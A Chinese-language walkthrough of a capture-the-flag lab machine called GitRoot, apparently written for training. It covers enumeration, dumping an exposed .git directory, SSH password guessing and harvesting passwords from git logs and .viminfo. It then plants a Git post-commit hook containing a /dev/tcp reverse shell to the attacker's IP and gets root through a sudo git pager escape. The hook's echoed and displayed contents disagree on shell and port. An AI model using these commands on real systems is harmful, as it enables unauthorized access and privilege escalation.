演练
GitRoot 开发指南
概括
该机器被利用的方式是泄露 Git 存储库的内容,然后对 SSH 服务进行暴力攻击。它通过利用提交后的git 文件,然后泄露用户密码,最后滥用/usr/bin/git二进制文件上错误配置的 sudo 权限来升级。
枚举
地图
我们首先运行nmap
扫描:
kali@kali:~# sudo nmap -p- 192.168.120.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 08:33 EDT
Nmap scan report for 192.168.120.168
Host is up (0.029s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
11211/tcp open memcache
端口 80 枚举
导航到端口 80,我们看到管理员“刚刚在 wp.gitroot.vuln 安装了 wordpress”:
kali@kali:~# curl http://192.168.120.168
<!doctype html>
...
<p> Hey Jen, just installed wordpress over at wp.gitroot.vuln
...
要继续,我们需要将此域和子域添加到本地/etc/hosts中:
kali@kali:~# cat /etc/hosts
...
#GitRoot
192.168.120.168 gitroot.vuln wp.gitroot.vuln
...
我们现在可以导航到 http://wp.gitroot.vuln/ 并查看管理员所指的 WordPress 网站。
子域暴力破解
使用该工具gobuster
和单词列表/usr/share/dirb/wordlists/big.txt,我们将尝试显示其他子域以进行枚举:
kali@kali:~# gobuster vhost -u gitroot.vuln -w /usr/share/dirb/wordlists/big.txt | grep 200
Found: repo.gitroot.vuln (Status: 200) [Size: 438]
Found: wp.gitroot.vuln (Status: 200) [Size: 10697]
通过这次扫描,我们发现了一个新的子域repo.gitroot.vuln
。我们将其添加到我们的/etc/hosts中:
kali@kali:~# cat /etc/hosts
...
#GitRoot
192.168.120.168 gitroot.vuln wp.gitroot.vuln repo.gitroot.vuln
...
Git 枚举
导航到 http://repo.gitroot.vuln/ 现在会显示一个“代码存储区域”:
kali@kali:~# curl http://repo.gitroot.vuln/
<!doctype html
...
<h1 style="color:white;">Welcome to our code storage area
...
我们将使用gobuster
单词列表/usr/share/dirb/wordlists/common.txt来进一步枚举此 Git 存储库:
kali@kali:~# gobuster dir -u http://repo.gitroot.vuln -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://repo.gitroot.vuln
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/17 09:11:12 Starting gobuster
===============================================================
/.git/HEAD (Status: 200)
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/javascript (Status: 301)
/manual (Status: 301)
/server-status (Status: 403)
===============================================================
2020/08/17 09:11:27 Finished
===============================================================
在上面的扫描中,我们看到了200
的代码/.git/HEAD
。
转储器
接下来,我们将使用工具GitDumper
(https://github.com/internetwache/GitTools/tree/master/Dumper)提取/.git/的所有内容:
kali@kali:~# ./gitdumper.sh http://repo.gitroot.vuln/.git/ /tmp/gitroot1/git-tmp/
###########
# GitDumper is part of https://github.com/internetwache/GitTools
...
[+] Downloaded: COMMIT_EDITMSG
...
查看http://repo.gitroot.vuln/.git/COMMIT_EDITMSG,我们看到以下内容:
added some important stuff
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# On branch master
# Changes to be committed:
# new file: 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
#
# Changes not staged for commit:
# modified: get.php
# deleted: pablo_HELP.txt
# modified: set.php
# modified: stats.php
#
# Untracked files:
# codeBackground.jpg
#
新文件33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt看起来很有趣。在 http://repo.gitroot.vuln/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt 查看它显示以下内容:
pablo_S3cret_P@ss
beth_S3cret_P@ss
jen_S3cret_P@ss
开发
SSH 暴力破解
有了这些用户名,我们现在将尝试通过一些猜测来暴力破解 SSH:
kali@kali:~# cat users.txt
pablo
beth
jen
凭证pablo:pablo
对我们有用,我们处于:
kali@kali:~# ssh pablo@192.168.120.168
...
pablo@GitRoot:~$ id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
pablo@GitRoot:~$
在 Pablo 的主目录中,我们找到一个public文件夹:
pablo@GitRoot:~$ ls
public
在该目录中,我们发现一条消息,邀请我们查看另一个 git 存储库:
pablo@GitRoot:~$ cd public && ls -l
total 4
-rw-r--r-- 1 beth beth 58 May 25 23:08 message.txt
pablo@GitRoot:~/public$ cat message.txt
Hey pablo
Make sure to check-out our brand new git repo!
pablo@GitRoot:~/public$
林豌豆
我们将LinPEAS
在目标上下载并运行(https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS):
kali@kali:~# scp linpeas.sh pablo@192.168.120.168:/home/pablo/linpeas.sh
pablo@192.168.120.168's password:
linpeas.sh
pablo@GitRoot:~/public$ cd ~
pablo@GitRoot:~$ chmod 777 linpeas.sh
pablo@GitRoot:~$ ./linpeas.sh
...
drwxr-xr-x 8 beth beth 4096 May 26 09:39 /opt/auth/.git
-rw-r--r-- 1 beth beth 92 May 26 09:28 /opt/auth/.git/config
...
看起来我们找到了新的 git 存储库。查看Heads目录,我们发现一个很大的列表。但是,如果我们按大小排序,我们可以看到有一个条目比其余条目大:
pablo@GitRoot:~$ cd /opt/auth/.git/logs/refs/heads/
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ ls -lna | sort -m -r
total 804
drwxr-xr-x 2 1001 1001 4096 May 26 09:32 .
drwxr-xr-x 3 1001 1001 4096 May 26 09:31 ..
-rw-r--r-- 1 1001 1001 443 May 26 09:36 dev-1
...
-rw-r--r-- 1 1001 1001 595 May 26 09:36 dev-43
...
dev-43
看起来比其他的都大。查看其内容显示如下:
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ cat dev-43
0000000000000000000000000000000000000000 fc9901f3b6b303d6ad40cdb71689f1646904f7b3 Your Name <you@example.com> 1590499965 -0400 branch: Created from HEAD
fc9901f3b6b303d6ad40cdb71689f1646904f7b3 b2ab5f540baab4c299306e16f077d7a6f6556ca3 Your Name <you@example.com> 1590500014 -0400 commit: init repo
b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <you@example.com> 1590500148 -0400 commit: added some stuff
06fbefc1da56b8d552cfa299924097ba1213dd93 aaa283c708d79c692797339434664f4ba7accb25 Your Name <you@example.com> 1590500197 -0400 commit: init repo
接下来,我们看看 Beth 的提交“添加了一些东西”:
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93
commit 06fbefc1da56b8d552cfa299924097ba1213dd93
...
+ if (strcmp(pass, "r3vpdmspqdb") == 0 ){
...
该字符串r3vpdmspqdb
看起来像一个密码。
升级
更改用户
有了可能是 Beth 的密码,我们就可以以 Beth 身份登录:
pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ su beth
Password:
beth@GitRoot:/opt/auth/.git/logs/refs/heads$ id
uid=1001(beth) gid=1001(beth) groups=1001(beth)
beth@GitRoot:/opt/auth/.git/logs/refs/heads$
本地枚举
环顾 Beth 的主目录,我们找到/home/beth/public/addToMyRepo.txt文件:
beth@GitRoot:/opt/auth/.git/logs/refs/heads$ cd ~
beth@GitRoot:~$ ls -lna
total 28
drwxr-xr-x 5 1001 1001 4096 May 26 09:41 .
drwxr-xr-x 5 0 0 4096 May 26 00:22 ..
lrwxrwxrwx 1 1001 1001 9 May 26 01:32 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 0 May 25 22:52 .bash_logout
-rw-r--r-- 1 1001 1001 3526 May 26 00:23 .bashrc
drwx------ 3 1001 1001 4096 May 26 00:26 .gnupg
drwxr-xr-x 3 1001 1001 4096 May 25 23:36 .local
-rw-r--r-- 1 1001 1001 807 May 26 00:23 .profile
drwx-wx-wx 2 1001 1001 4096 May 26 00:53 public
beth@GitRoot:~$ cd public && ls -lna
total 12
drwx-wx-wx 2 1001 1001 4096 May 26 00:53 .
drwxr-xr-x 5 1001 1001 4096 May 26 09:41 ..
-rw-r--r-- 1 1003 1003 151 May 26 00:29 addToMyRepo.txt
beth@GitRoot:~/public$ cat addToMyRepo.txt
Hello Beth
If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository
Thanks!
beth@GitRoot:~/public$
利用提交后
根据提示,我们创建一个post-commit
带有 bash 反向 shell 的文件并为其分配适当的权限:
beth@GitRoot:~$ cd ~
beth@GitRoot:~$ mkdir -p .git/hooks && cd .git/hooks
beth@GitRoot:~/.git/hooks$ echo '#!/bin/bash' > post-commit
beth@GitRoot:~/.git/hooks$ echo '/usr/bin/bash -i >& /dev/tcp/192.168.118.3/4444 0>&1' >> post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit
#!/bin/sh
/usr/bin/sh -i >& /dev/tcp/192.168.118.3/9999 0>&1
beth@GitRoot:~/.git/hooks$ chmod 777 post-commit
beth@GitRoot:~/.git/hooks$
在端口 4444 上启动 netcat 监听器。接下来,根据要求将.git/内容压缩到 zip 文件中,并将其复制到~jen/public/repos/目录:
beth@GitRoot:~/.git/hooks$ cd ~
beth@GitRoot:~$ 7z a shell.zip .git/
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Xeon(R) CPU E5-2686 v4 @ 2.30GHz (406F1),ASM,AES-NI)
Scanning the drive:
2 folders, 1 file, 65 bytes (1 KiB)
Creating archive: shell.zip
Items to compress: 3
Files read from disk: 1
Archive size: 499 bytes (1 KiB)
Everything is Ok
beth@GitRoot:~$ chmod 777 shell.zip
beth@GitRoot:~$ cp shell.zip /home/jen/public/repos/shell.zip
beth@GitRoot:~$
等待自动脚本运行并解压我们的恶意文件后,我们收到了 Jen 的反向 shell:
kali@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.118.3] from gitroot.vuln [192.168.120.168] 57320
bash: cannot set terminal process group (786): Inappropriate ioctl for device
bash: no job control in this shell
jen@GitRoot:~/private/repo$ id
id
uid=1003(jen) gid=1003(jen) groups=1003(jen)
jen@GitRoot:~/private/repo$
在 Jen 的主目录中,有一个具有重要历史记录的.viminfo :
jen@GitRoot:~/private/repo$ cd ~ && ls -la
ls -la
total 44
drwxr-xr-x 5 jen jen 4096 May 26 10:01 .
drwxr-xr-x 5 root root 4096 May 26 00:22 ..
lrwxrwxrwx 1 jen jen 9 May 26 01:41 .bash_history -> /dev/null
-rw-r--r-- 1 jen jen 220 May 26 00:22 .bash_logout
-rw-r--r-- 1 jen jen 3526 May 26 00:22 .bashrc
-rw-r--r-- 1 jen jen 50 May 26 10:00 .gitconfig
drwxr-xr-x 3 jen jen 4096 May 26 01:24 .local
drwx------ 3 jen jen 4096 May 26 09:58 private
-rw-r--r-- 1 jen jen 807 May 26 00:22 .profile
drwx-wx-wx 3 jen jen 4096 May 26 00:30 public
-rw-r--r-- 1 jen jen 75 May 26 01:37 .selected_editor
-rw-r--r-- 1 jen jen 0 May 26 01:45 test.txt
-rw------- 1 jen jen 920 May 26 01:45 .viminfo
jen@GitRoot:~$
在里面,我们找到一个密码binzpbeocnexoe
:
jen@GitRoot:~$ cat .viminfo
cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
...
?/binzpbeocnexoe
|2,1,1590471908,47,"binzpbeocnexoe"
...
有了 Jen 的密码,我们生成一个新的 TTY shell 并检查 sudo 权限:
jen@GitRoot:~$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
jen@GitRoot:~$ sudo -l
sudo -l
[sudo] password for jen: binzpbeocnexoe
Matching Defaults entries for jen on GitRoot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jen may run the following commands on GitRoot:
(ALL) /usr/bin/git
jen@GitRoot:~$
看起来 Jen 能够以 root 身份运行/usr/bin/git。我们可以滥用此功能,因为我们可以在帮助对话框的末尾引入命令:
jen@GitRoot:~$ sudo git -p help config
sudo git -p help config
[sudo] password for jen: binzpbeocnexoe
WARNING: terminal is not fully functional
...
git config [<file-option>] --remove-section name
:!/bin/sh
!//bbiinn//sshh!/bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
#